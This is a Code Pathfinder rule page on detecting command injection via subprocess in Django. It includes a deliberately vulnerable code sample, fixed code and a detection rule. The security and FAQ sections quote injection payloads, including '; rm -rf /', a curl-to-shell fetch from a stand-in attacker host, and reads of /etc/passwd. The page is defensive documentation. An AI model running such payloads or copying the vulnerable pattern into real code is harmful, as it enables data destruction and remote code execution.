# PYTHON-DJANGO-SEC-011: Django Command Injection via subprocess

> **Severity:** CRITICAL | **CWE:** CWE-78 | **OWASP:** A03:2021

- **Language:** Python
- **Category:** Django
- **URL:** https://codepathfinder.dev/registry/python/django/PYTHON-DJANGO-SEC-011
- **Detection:** `pathfinder scan --ruleset python/PYTHON-DJANGO-SEC-011 --project .`

## Description

This rule detects OS command injection vulnerabilities in Django applications where
untrusted user input from HTTP request parameters flows into subprocess module calls
(subprocess.run(), subprocess.call(), subprocess.Popen(), subprocess.check_output())
either as a string command argument or within a list when shell=True is used.

The subprocess module is safer than os.system() when used correctly with a list of
arguments and shell=False (the default). However, two patterns re-introduce shell
injection risk: (1) passing a string command argument which causes shell interpretation
even without explicit shell=True, and (2) using shell=True with any string that
contains user-controlled data.

This rule tracks user input flowing to subprocess calls and flags cases where the
risk of shell injection exists, distinguishing between the safe list pattern and
the unsafe string/shell=True patterns.


## Vulnerable Code

```python
import os
import subprocess

    filename = request.GET.get('file')
    os.system(f"cat {filename}")


    cmd = request.POST.get('command')
    subprocess.call(cmd, shell=True)


    host = request.GET.get('host')
    proc = subprocess.Popen(f"ping {host}", shell=True)
    return proc.communicate()
```

## Secure Code

```python
from django.http import JsonResponse
import subprocess
import re
import shlex

def run_image_resize(request):
    width = request.POST.get('width', '')
    height = request.POST.get('height', '')
    filename = request.POST.get('filename', '')
    # SECURE: Validate all inputs before use
    try:
        width = int(width)
        height = int(height)
    except ValueError:
        return JsonResponse({'error': 'Invalid dimensions'}, status=400)
    if not re.match(r'^[a-zA-Z0-9_.\-]+$', filename):
        return JsonResponse({'error': 'Invalid filename'}, status=400)
    # SECURE: List argument, no shell=True, validated inputs
    result = subprocess.run(
        ['convert', f'{filename}', '-resize', f'{width}x{height}', f'out_{filename}'],
        capture_output=True,
        text=True,
        timeout=30
    )
    return JsonResponse({'success': result.returncode == 0})

def ping_host(request):
    host = request.GET.get('host', '')
    if not re.match(r'^[a-zA-Z0-9.\-]+$', host):
        return JsonResponse({'error': 'Invalid host'}, status=400)
    # SECURE: List with validated host, no shell interpretation
    result = subprocess.run(
        ['ping', '-c', '3', '--', host],
        capture_output=True,
        text=True,
        timeout=10
    )
    return JsonResponse({'output': result.stdout})

```

## Detection Rule (Python SDK)

```python
from rules.python_decorators import python_rule
from codepathfinder import calls, flows, QueryType
from codepathfinder.presets import PropagationPresets

class SubprocessModule(QueryType):
    fqns = ["subprocess"]

_DJANGO_SOURCES = [
    calls("request.GET.get"),
    calls("request.POST.get"),
    calls("request.GET"),
    calls("request.POST"),
    calls("request.COOKIES.get"),
    calls("request.FILES.get"),
    calls("*.GET.get"),
    calls("*.POST.get"),
]


@python_rule(
    id="PYTHON-DJANGO-SEC-011",
    name="Django Command Injection via subprocess",
    severity="CRITICAL",
    category="django",
    cwe="CWE-78",
    tags="python,django,command-injection,subprocess,OWASP-A03,CWE-78",
    message="User input flows to subprocess call. Use shlex.quote() or avoid shell=True.",
    owasp="A03:2021",
)
def detect_django_subprocess_injection():
    """Detects Django request data flowing to subprocess functions."""
    return flows(
        from_sources=_DJANGO_SOURCES,
        to_sinks=[
            SubprocessModule.method("call", "check_call", "check_output",
                                    "run", "Popen", "getoutput", "getstatusoutput").tracks(0),
        ],
        sanitized_by=[
            calls("shlex.quote"),
            calls("shlex.split"),
        ],
        propagates_through=PropagationPresets.standard(),
        scope="global",
    )
```

## How to Fix

- Always use subprocess with a list of arguments and shell=False (the default) to prevent shell interpretation of metacharacters.
- Never use shell=True when any part of the command string or argument list originates from user input.
- Validate all user-provided arguments with strict regular expressions before including them in subprocess calls.
- Prefix user-provided filename arguments with '--' to prevent them from being interpreted as flags by the target command.
- Consider whether the subprocess call can be replaced entirely with a Python library that performs the same operation without invoking a shell.

## Security Implications

- **Shell Injection via String Command:** Passing a string to subprocess.run() without explicit shell=False does not
guarantee safety -- if the string contains shell metacharacters, they will be
interpreted. When user input is concatenated into the string, attackers can
inject semicolons, pipes, or $() to execute additional commands.

- **Explicit Shell Injection via shell=True:** subprocess.run(f"command {user_input}", shell=True) is equivalent to passing
the command to /bin/sh. Any shell metacharacters in user_input will be
interpreted. Common payloads include '; rm -rf /', '$(curl attacker.com | sh)',
and '`cat /etc/passwd`'.

- **Argument Injection in List Mode:** Even when using a list with shell=False, user-controlled list elements that
are interpreted as flags by the target command can enable argument injection.
For example, passing '-rf' as a filename argument to commands like rm, rsync,
or wget can cause unintended behavior.

- **Process Privilege Escalation:** If the Django process has any elevated privileges (setuid binaries accessible
via subprocess, capabilities set on the process), command injection can be used
to escalate privileges. Even without escalation, the application process user
can typically read all application files, including secrets and database credentials.


## FAQ

**Q: When is subprocess safe to use and when is it vulnerable?**

subprocess is safe when you use a list argument with shell=False (the default).
In this mode, the first list element is the executable and subsequent elements
are arguments passed directly to execve() without shell interpretation. It is
vulnerable when you use a string argument (shell is invoked automatically on
some platforms) or when you use shell=True with any string containing user input.


**Q: Does shlex.quote() make subprocess safe with shell=True?**

shlex.quote() wraps a single string in single quotes with internal single quotes
escaped, making it safe for use in shell commands. However, it must be applied
correctly to each argument individually, and it only works for arguments --
command names themselves should come from an allowlist. Even with shlex.quote(),
the preferred pattern is subprocess with a list and shell=False.


**Q: What if I need to use shell features like pipes or redirections?**

For piped commands, use subprocess.PIPE and chain subprocess calls rather than
using shell=True. For example, instead of subprocess.run("cat file | grep pattern",
shell=True), use two subprocess calls chained with stdout=subprocess.PIPE. This
avoids shell interpretation while achieving the same result.


**Q: Can this rule handle cases where subprocess arguments are built dynamically?**

Yes. The rule traces taint from request parameters through string construction
(concatenation, f-strings) and list construction to subprocess arguments. If user
input ends up in any position of the list passed to subprocess and there is also
a shell=True flag, the call is flagged. For list mode without shell=True, only
findings where the user input is in the position of the executable (index 0)
or where shell injection is possible are flagged.


**Q: Our DevOps tools Django app needs to run system commands. Is that always unsafe?**

No. Running system commands from a Django app is safe when done correctly. The
key requirements are: (1) command names come from an allowlist, never user input,
(2) arguments are validated with strict patterns before use, (3) subprocess is
called with a list and shell=False, and (4) user input that must be used as an
argument is prefixed with '--' to prevent flag injection. Following these rules
allows legitimate use cases while preventing injection.


**Q: How do I test whether my fix correctly eliminates the injection vulnerability?**

After fixing, re-run Code Pathfinder to confirm the finding is resolved. For
manual verification, attempt injection payloads like '; id', '$(whoami)', and
'| cat /etc/passwd' in the relevant input fields and verify they are treated as
literal strings by the subprocess call rather than being interpreted by a shell.


## References

- [CWE-78: OS Command Injection](https://cwe.mitre.org/data/definitions/78.html)
- [OWASP OS Command Injection Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html)
- [Python subprocess documentation - Security Considerations](https://docs.python.org/3/library/subprocess.html#security-considerations)
- [OWASP Command Injection](https://owasp.org/www-community/attacks/Command_Injection)
- [Django Security](https://docs.djangoproject.com/en/stable/topics/security/)
- [Python shlex module](https://docs.python.org/3/library/shlex.html)

---

Source: https://codepathfinder.dev/registry/python/django/PYTHON-DJANGO-SEC-011
Code Pathfinder — Open source, type-aware SAST with cross-file dataflow analysis
